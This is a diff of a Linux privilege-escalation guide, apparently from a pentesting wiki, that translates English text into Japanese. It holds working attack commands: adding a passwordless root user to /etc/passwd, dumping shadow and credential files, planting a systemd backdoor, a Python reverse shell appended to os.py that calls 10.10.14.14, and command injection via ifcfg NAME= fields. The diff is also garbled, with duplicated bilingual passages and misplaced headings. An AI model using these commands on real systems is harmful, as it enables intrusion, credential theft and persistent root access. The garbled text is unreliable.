+ユーザー認証に使用できる公開鍵が含まれるファイルを指定します。`%h`のようなトークンを含めることができます。これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +その設定は、ユーザー「testusername」の**プライベート**キーでログインしようとする場合、sshはあなたのキーの公開キーを`/home/testusername/.ssh/authorized_keys`と`/home/testusername/access`にあるキーと比較します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +SSHエージェント転送を使用すると、サーバーに鍵(パスフレーズなし!)を残さずに、ローカルのSSHキーを使用できます。したがって、sshを介して**ホスト**に**ジャンプ**し、そこから**初期ホスト**にある**キー**を使用して、別の**ホストにジャンプ**することができます。 +このオプションを`$HOME/.ssh.config`に次のように設定する必要があります: ``` Host example.com - ForwardAgent yes +ForwardAgent yes ``` +注意してください。もし`Host`が`*`の場合、ユーザーが別のマシンに移動するたびに、そのホストはキーにアクセスできるようになります(これはセキュリティ上の問題です)。 -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +ファイル`/etc/ssh_config`はこの設定を上書きし、この構成を許可または拒否することができます。\ +ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`(デフォルトは許可)を使用してssh-agentの転送を許可または拒否することができます。 -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). +もし環境にフォワードエージェントが設定されている場合は、\[**ここで特権エスカレーションの方法を確認してください**]\(ssh-forward-agent-exploitation.md)。 -If you Forward Agent configured in an environment \[**check here how to exploit it to escalate privileges**]\(ssh-forward-agent-exploitation.md). +## 興味深いファイル -## Interesting Files - -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### プロファイルファイル +ファイル`/etc/profile`および`/etc/profile.d/`以下のファイルは、ユーザーが新しいシェルを実行したときに実行されるスクリプトです。したがって、これらのファイルのいずれかを書き込むか変更することで特権をエスカレーションすることができます。 ```bash ls -l /etc/profile /etc/profile.d/ ``` +もし奇妙なプロファイルスクリプトが見つかった場合は、それを**機密情報**のためにチェックする必要があります。 -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### Passwd/Shadow ファイル +OSによっては、`/etc/passwd`と`/etc/shadow`ファイルの名前が異なる場合や、バックアップが存在する場合があります。そのため、**それらをすべて見つけて**、ファイル内に**ハッシュがあるかどうか**を確認するために、それらを**読み取ることができるかどうか**をチェックすることが推奨されます。 ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +いくつかの場合には、`/etc/passwd`(または同等の)ファイル内に**パスワードハッシュ**を見つけることができます。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` +### 書き込み可能な /etc/passwd -### Writable /etc/passwd - -First, generate a password with one of the following commands. - +まず、次のコマンドのいずれかを使用してパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +次に、ユーザー`hacker`を追加し、生成されたパスワードを追加します。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` - E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +`su`コマンドを使用して`hacker:hacker`でログインできます。 +または、以下の行を使用してパスワードのないダミーユーザーを追加することもできます。\ +警告: 現在のマシンのセキュリティが低下する可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +注意:BSDプラットフォームでは、`/etc/passwd`は`/etc/pwd.db`および`/etc/master.passwd`に配置されており、`/etc/shadow`は`/etc/spwd.db`に名前が変更されています。 -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +あなたはいくつかの**機密ファイルに書き込むことができるか**を確認する必要があります。例えば、**サービスの設定ファイル**に書き込むことができますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +たとえば、マシンが**tomcat**サーバーを実行しており、**/etc/systemd/内のTomcatサービスの設定ファイルを変更できる**場合、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` +次に、tomcatが起動される際にバックドアが実行されます。 -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### フォルダのチェック +次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のフォルダは読み取ることができないかもしれませんが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` +### 奇妙な場所/所有ファイル -### Weird Location/Owned files +Sometimes, during a privilege escalation process, you may come across files or directories in unusual locations or owned by unexpected users. These findings can be valuable for further exploitation or gaining higher privileges. +以下は、特権エスカレーションのプロセス中に、予想外の場所にあるファイルやディレクトリ、または予期しないユーザーが所有するファイルに遭遇することがあります。これらの発見は、さらなる攻撃や高い特権の獲得に役立つことがあります。 + +#### Unusual File Locations + +Look for files in non-standard directories, as they may contain sensitive information or configuration files that can be leveraged for privilege escalation. Some common non-standard locations to check are: + +- `/var/backups` +- `/var/cache` +- `/var/lib` +- `/var/local` +- `/var/mail` +- `/var/opt` +- `/var/run` +- `/var/spool` +- `/var/tmp` + +奇妙な場所にあるファイルを探し、特権エスカレーションに利用できる機密情報や設定ファイルが含まれている可能性があります。チェックすべき一般的な非標準の場所は以下の通りです。 + +- `/var/backups` +- `/var/cache` +- `/var/lib` +- `/var/local` +- `/var/mail` +- `/var/opt` +- `/var/run` +- `/var/spool` +- `/var/tmp` + +#### Unexpected File Owners + +Pay attention to files owned by users other than the expected system users or administrators. These files may have been left behind by previous users or misconfigured by system administrators, providing an opportunity for privilege escalation. Some common unexpected file owners to look for are: + +- `root` (superuser) +- `www-data` (Apache web server) +- `mysql` (MySQL database) +- `postgres` (PostgreSQL database) +- `tomcat` (Tomcat web server) +- `wwwrun` (SAP web server) +- `www` (Nginx web server) +- `ftp` (FTP server) +- `bin` (Binary files) +- `daemon` (System daemon processes) + +予想されるシステムユーザーや管理者以外のユーザーが所有するファイルに注意してください。これらのファイルは、以前のユーザーによって残されたものであるか、システム管理者によって誤って設定されたものである可能性があり、特権エスカレーションの機会を提供します。探すべき一般的な予期しないファイル所有者は以下の通りです。 + +- `root`(スーパーユーザー) +- `www-data`(Apacheウェブサーバー) +- `mysql`(MySQLデータベース) +- `postgres`(PostgreSQLデータベース) +- `tomcat`(Tomcatウェブサーバー) +- `wwwrun`(SAPウェブサーバー) +- `www`(Nginxウェブサーバー) +- `ftp`(FTPサーバー) +- `bin`(バイナリファイル) +- `daemon`(システムデーモンプロセス) ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1438,77 +1739,182 @@ find / -type f -user root ! -perm -o=r 2>/dev/null find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; - do printf " Group $g:\n"; - find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null - done +do printf " Group $g:\n"; +find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null +done done ``` +### 最後の数分で変更されたファイル -### Modified files in last mins +To identify the files that have been modified in the last few minutes, you can use the following command: +最後の数分で変更されたファイルを特定するために、次のコマンドを使用できます。 + +```bash +find / -type f -mmin -5 +``` + +This command will search for all files (`-type f`) in the entire system (`/`) that have been modified in the last 5 minutes (`-mmin -5`). + +このコマンドは、最後の5分間 (`-mmin -5`) に変更された、システム全体 (`/`) のすべてのファイル (`-type f`) を検索します。 + +You can adjust the time interval by changing the value after `-mmin`. For example, if you want to find files modified in the last 10 minutes, you can use `-mmin -10`. + +`-mmin` の後の値を変更することで、時間間隔を調整することができます。例えば、最後の10分間に変更されたファイルを検索したい場合は、`-mmin -10` を使用します。 + +Keep in mind that this command may take some time to execute, especially if you have a large filesystem. Additionally, the command will only search for files that your user has permission to access. + +このコマンドは、特に大きなファイルシステムを持っている場合、実行に時間がかかる場合があります。また、このコマンドは、ユーザーがアクセス権を持っているファイルのみを検索します。 + +It's important to note that this technique can be useful for identifying recently modified files, but it does not necessarily indicate any malicious activity. ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` +### Sqlite DB ファイル -### Sqlite DB files +SQLiteは、軽量で埋め込み型のデータベースエンジンであり、多くのアプリケーションで使用されています。SQLiteデータベースは、単一のファイルに格納され、拡張子が`.db`または`.sqlite`で終わります。 +SQLiteデータベースファイルは、機密情報や重要なデータを含む可能性があります。したがって、特権昇格のための攻撃時には、これらのファイルを探すことが重要です。 + +以下は、SQLiteデータベースファイルを見つけるためのいくつかの一般的な場所です。 + +- `/var/www/html`:Webアプリケーションのデータベースファイルが格納される場所。 +- `/var/lib/mysql`:MySQLデータベースのデフォルトの場所。 +- `/var/lib/postgresql`:PostgreSQLデータベースのデフォルトの場所。 +- `/home/`:ユーザーのホームディレクトリ内にデータベースファイルがある場合があります。 + +これらの場所にアクセスするためには、特権昇格が必要です。特権昇格のための他のテクニックを使用して、これらのファイルにアクセスすることができます。 ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` - -### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files - +### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ファイル ```bash fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files ``` +### 隠しファイル -### Hidden files +Hidden files(隠しファイル)は、Linuxシステムで一般的に使用されるセキュリティ機能です。これらのファイルは、通常のファイルと同じようにディレクトリ内に存在しますが、名前の先頭にドット(.)が付いているため、一般的には表示されません。 +隠しファイルは、システムの設定や構成情報、重要なデータなど、セキュリティ上の理由から一般ユーザーから隠される必要がある情報を格納するために使用されます。 + +隠しファイルを表示するには、`ls`コマンドに`-a`オプションを追加します。例えば、`ls -a`コマンドを使用すると、隠しファイルも含めてディレクトリ内のすべてのファイルが表示されます。 + +隠しファイルは、システムのセキュリティを向上させるために使用されることがありますが、悪意のあるユーザーによって悪用される可能性もあります。したがって、システム管理者は適切なアクセス制御を実施し、隠しファイルに対する適切な保護を確保する必要があります。 ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` +### **PATHにあるスクリプト/バイナリ** -### **Script/Binaries in PATH** +If you find a script or binary in the system's PATH, it may be possible to escalate privileges by replacing it with a malicious version or by exploiting its functionality. +システムのPATHにスクリプトやバイナリがある場合、それを悪意のあるバージョンに置き換えるか、その機能を悪用することで特権を昇格させることができるかもしれません。 + +To identify scripts or binaries in the PATH, you can use the following command: + +PATHにあるスクリプトやバイナリを特定するには、次のコマンドを使用できます: + +```bash +echo $PATH | tr ':' '\n' +``` + +Once you have identified a script or binary, you can search for vulnerabilities or misconfigurations that may allow privilege escalation. + +スクリプトやバイナリを特定したら、特権昇格を許可する可能性のある脆弱性や設定ミスを検索することができます。 + +Additionally, you can check the permissions and ownership of the script or binary using the `ls` command: + +さらに、`ls`コマンドを使用してスクリプトやバイナリのパーミッションと所有者を確認することもできます: + +```bash +ls -l /path/to/script_or_binary +``` + +If the script or binary is owned by a privileged user or has the setuid or setgid permissions, it may be possible to escalate privileges. + +スクリプトやバイナリが特権ユーザーに所有されているか、setuidやsetgidのパーミッションを持っている場合、特権昇格が可能かもしれません。 + +Remember to always exercise caution when modifying or exploiting scripts or binaries, as it can have unintended consequences and may be illegal without proper authorization. + +スクリプトやバイナリを変更したり悪用する際には常に注意を払い、意図しない結果をもたらす可能性があることや、適切な権限がない場合は違法である可能性があることを忘れないでください。 ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done ``` +### **ウェブファイル** -### **Web files** +Web files are files that are accessible through a web server. These files can include HTML, CSS, JavaScript, image files, and other resources that are used to build and display websites. +ウェブファイルは、ウェブサーバーを通じてアクセス可能なファイルです。これらのファイルには、ウェブサイトの構築と表示に使用されるHTML、CSS、JavaScript、画像ファイルなどのリソースが含まれることがあります。 + +When performing a web application penetration test, it is important to identify and analyze the web files present on the target application. This can help in understanding the structure of the application, identifying potential vulnerabilities, and finding ways to exploit them. + +ウェブアプリケーションのペネトレーションテストを実施する際には、対象アプリケーションに存在するウェブファイルを特定し、分析することが重要です。これにより、アプリケーションの構造を理解し、潜在的な脆弱性を特定し、それらを悪用する方法を見つけることができます。 + +Some common web files that you may encounter during a penetration test include: + +ペネトレーションテスト中に遭遇する可能性のある一般的なウェブファイルには、次のものがあります。 + +- **index.html**: This is the default file that is loaded when accessing the root directory of a website. It often contains the main content of the website. + +- **index.html**: これは、ウェブサイトのルートディレクトリにアクセスしたときに読み込まれるデフォルトのファイルです。通常、ウェブサイトの主要なコンテンツが含まれています。 + +- **style.css**: This file contains the CSS code that is used to style the HTML elements of a website. + +- **style.css**: このファイルには、ウェブサイトのHTML要素にスタイルを適用するために使用されるCSSコードが含まれています。 + +- **script.js**: This file contains the JavaScript code that is used to add interactivity and functionality to a website. + +- **script.js**: このファイルには、ウェブサイトに対話性と機能を追加するために使用されるJavaScriptコードが含まれています。 + +- **image.jpg**: This is an example of an image file that may be used on a website. Images are often used to enhance the visual appeal of a website. + +- **image.jpg**: これは、ウェブサイトで使用される可能性のある画像ファイルの例です。画像は、ウェブサイトの視覚的な魅力を高めるためによく使用されます。 + +During a penetration test, it is important to thoroughly analyze these web files to identify any potential vulnerabilities or misconfigurations that could be exploited. This can include checking for sensitive information, insecure file permissions, or any other security issues that may be present. + +ペネトレーションテスト中には、これらのウェブファイルを徹底的に分析し、悪用できる潜在的な脆弱性や誤った設定を特定することが重要です。これには、機密情報のチェック、安全でないファイルのアクセス許可の確認、その他のセキュリティ上の問題の確認などが含まれます。 ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` +### **バックアップ** -### **Backups** +Backups are an essential part of any system's security and resilience strategy. They help protect against data loss, system failures, and even ransomware attacks. In the event of a security breach or system compromise, having recent and reliable backups can be a lifesaver. +バックアップは、システムのセキュリティと耐障害性戦略の重要な要素です。データの損失、システムの障害、さらにはランサムウェア攻撃に対して保護を提供します。セキュリティ侵害やシステムの侵害が発生した場合、最新かつ信頼性のあるバックアップを持っていることは救いの手となります。 + +Regularly backing up critical data and system configurations is crucial. It is recommended to automate the backup process to ensure consistency and minimize the risk of human error. Additionally, backups should be stored in a secure location, preferably offsite or in the cloud, to protect against physical damage or theft. + +重要なデータとシステムの設定を定期的にバックアップすることは重要です。バックアッププロセスを自動化し、一貫性を確保し、人為的なミスのリスクを最小限に抑えることが推奨されています。さらに、バックアップは物理的な損傷や盗難に対して保護するため、オフサイトまたはクラウド上の安全な場所に保存することが望ましいです。 + +It is also important to regularly test the backup and restore processes to ensure their effectiveness. This can be done by simulating various scenarios, such as data corruption or system failure, and verifying that the backups can be successfully restored. + +バックアップとリストアのプロセスの効果を確認するために、定期的にテストすることも重要です。データの破損やシステムの障害など、さまざまなシナリオをシミュレートし、バックアップが正常にリストアできることを検証することができます。 + +Remember, backups are not a substitute for proper security measures. They should be used in conjunction with other security practices, such as regular software updates, strong passwords, and access control mechanisms, to ensure comprehensive protection against potential threats. + +バックアップは適切なセキュリティ対策の代替手段ではありません。定期的なソフトウェアの更新、強力なパスワード、アクセス制御メカニズムなど、他のセキュリティ対策と併用することで、潜在的な脅威に対する包括的な保護を確保する必要があります。 ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll ``` +### パスワードが含まれる既知のファイル -### Known files containing passwords +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読み、**複数のパスワードが含まれる可能性のあるファイル**を検索します。\ +これを行うために使用できるもう1つの興味深いツールは、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)です。これは、Windows、Linux、Mac上のローカルコンピュータに保存されている多くのパスワードを取得するためのオープンソースアプリケーションです。 -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### ログ +ログを読むことができれば、**興味深い/機密情報を見つける**ことができるかもしれません。ログが奇妙であればあるほど、それはより興味深いでしょう(おそらく)。\ +また、一部の「**悪意のある**」設定(バックドア?)された**監査ログ**では、この投稿で説明されているように、監査ログ内にパスワードを**記録する**ことができる場合があります:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +シェルファイル -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### SUID files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1519,78 +1925,72 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` +### 一般的なクレデンシャルの検索/正規表現 -### Generic Creds Search/Regex +また、**名前**または**内容**に単語「**password**」を含むファイルをチェックし、ログ内のIPやメールアドレス、ハッシュの正規表現もチェックする必要があります。 +これらの方法をすべてここで説明するつもりはありませんが、興味がある場合は、[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認できます。 -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +## 書き込み可能なファイル -## Writable files +### Pythonライブラリのハイジャック -### Python library hijacking - -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Pythonスクリプトが実行される**場所**がわかり、そのフォルダに**書き込み**することができるか、Pythonライブラリを**変更**することができる場合、OSライブラリを変更してバックドアを設置することができます(Pythonスクリプトが実行される場所に書き込みできる場合は、os.pyライブラリをコピーして貼り付けてください)。 +ライブラリにバックドアを設置するには、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` +### Logrotateの脆弱性 -### Logrotate exploitation +`logrotate`には、**ログファイルまたはその親ディレクトリのいずれかに書き込み権限**を持つユーザーが、`logrotate`によって**任意の場所にファイルを書き込む**ことができる脆弱性が存在します。もし**logrotate**が**root**によって実行されている場合、ユーザーはログインするすべてのユーザーによって実行される_**/etc/bash\_completion.d/**_に任意のファイルを書き込むことができます。 -There is a vulnerability on `logrotate` that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate` write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.\ -So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** (on most linux distributions, logrotate is executed automatically once a day as **user root**). Also, check if apart from _/var/log_ are more files being **rotated**. +したがって、**ログファイル**またはその**親フォルダ**のいずれかに**書き込み権限**がある場合、ほとんどのLinuxディストリビューションでは(logrotateは自動的に1日に1回**rootユーザー**として実行されます)、**特権昇格**が可能です。また、_**/var/log**_以外にも**ローテーション**されているファイルがあるかどうかも確認してください。 {% hint style="info" %} -This vulnerability affects `logrotate` version `3.18.0` and older +この脆弱性は、`logrotate`バージョン`3.18.0`およびそれ以前に影響します。 {% endhint %} -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +この脆弱性の詳細情報は、次のページで確認できます:[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +[**logrotten**](https://github.com/whotwagner/logrotten)を使用してこの脆弱性を悪用することができます。 -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +この脆弱性は、[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginxログ)**と非常に類似していますので、ログを変更できることがわかった場合は、ログをシンボリックリンクで置き換えて特権を昇格できるかどうかを確認してください。 -### /etc/sysconfig/network-scripts/ (Centos/Redhat) +### /etc/sysconfig/network-scripts/(Centos/Redhat) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +何らかの理由で、ユーザーが_**/etc/sysconfig/network-scripts**_に`ifcf-`スクリプトを**書き込む**ことができるか、既存のスクリプトを**調整**できる場合、あなたの**システムは乗っ取られています**。 -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +ネットワークスクリプト(例:_ifcg-eth0_)は、ネットワーク接続に使用されます。これらは.INIファイルとまったく同じように見えますが、LinuxではNetwork Manager(dispatcher.d)によって\~ソース化\~されます。 -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +私の場合、これらのネットワークスクリプトの`NAME=`属性が正しく処理されていません。もし名前に**空白が含まれている場合、空白の後の部分が実行されようとします**。つまり、**最初の空白の後にあるすべての部分がrootとして実行されます**。 +例:_/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +**脆弱性参照:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) -(_Note the blank space between Network and /bin/id_) +### **init、init.d、systemd、およびrc.d** -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) +`/etc/init.d`には、System V initツール(SysVinit)で使用される**スクリプト**が含まれています。これは、Linuxの**伝統的なサービス管理パッケージ**であり、`init`プログラム(カーネルの初期化が完了したときに実行される最初のプロセス¹)およびサービスの開始、停止、および設定を行うためのインフラストラクチャを含んでいます。具体的には、`/etc/init.d`のファイルは、特定のサービスを管理するために`start`、`stop`、`restart`、および(サポートされている場合)`reload`コマンドに応答するシェルスクリプトです。これらのスクリプトは直接呼び出すこともできますが(最も一般的には)、他のトリガー(通常は`/etc/rc?.d/`にシンボリックリンクが存在すること)を介して呼び出されます。 ([ここから](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d))。Redhatでは、このフォルダの代替として`/etc/rc.d/init.d`があります。 -### **init, init.d, systemd, and rc.d** +`/etc/init`には、**Upstart**で使用される**設定ファイル**が含まれています。Upstartは、Ubuntuで推奨される若い**サービス管理パッケージ**です。`/etc/init`のファイルは、Upstartに対してサービスの`start`、`stop`、`reload`、または`status`のクエリをどのように行うか、およびいつ行うかを指示する設定ファイルです。Lucid以降、UbuntuはSysVinitからUpstartに移行しており、そのためにUpstartの設定ファイルが好まれるにもかかわらず、多くのサービスにはSysVinitスクリプトが付属しています。SysVinitスクリプトはUpstartの互換性レイヤーで処理されます。 ([ここから](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d))。 -`/etc/init.d` contains **scripts** used by the System V init tools (SysVinit). This is the **traditional service management package for Linux**, containing the `init` program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in `/etc/init.d` are shell scripts that respond to `start`, `stop`, `restart`, and (when supported) `reload` commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in `/etc/rc?.d/`). (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). Other alternative to this folder is `/etc/rc.d/init.d` in Redhat. +**systemd**は、Linuxの初期化システムおよびサービスマネージャであり、オンデマンドでデーモンを起動する機能、マウントおよび自動マウントポイントのメンテナンス、スナップショットサポート、およびLinuxコントロールグループを使用したプロセスのトラッキングなどの機能を備えています。systemdは、ログデーモンや他のツール、一般的なシステム管理タスクをサポートするためのユーティリティを提供します。 ([ここから](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/))。 -`/etc/init` contains **configuration** files used by **Upstart**. Upstart is a young **service management package** championed by Ubuntu. Files in `/etc/init` are configuration files telling Upstart how and when to `start`, `stop`, `reload` the configuration, or query the `status` of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. The SysVinit scripts are processed by a compatibility layer in Upstart. (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). +ディストリビューションリポジトリからダウンロードされたパッケージに含まれるファイルは`/usr/lib/systemd/`に配置されます。システム管理者(ユーザー)によって行われる変更は`/etc/systemd/system/`に配置されます。 -**systemd** is a **Linux initialization system and service manager that includes features like on-demand starting of daemons**, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From 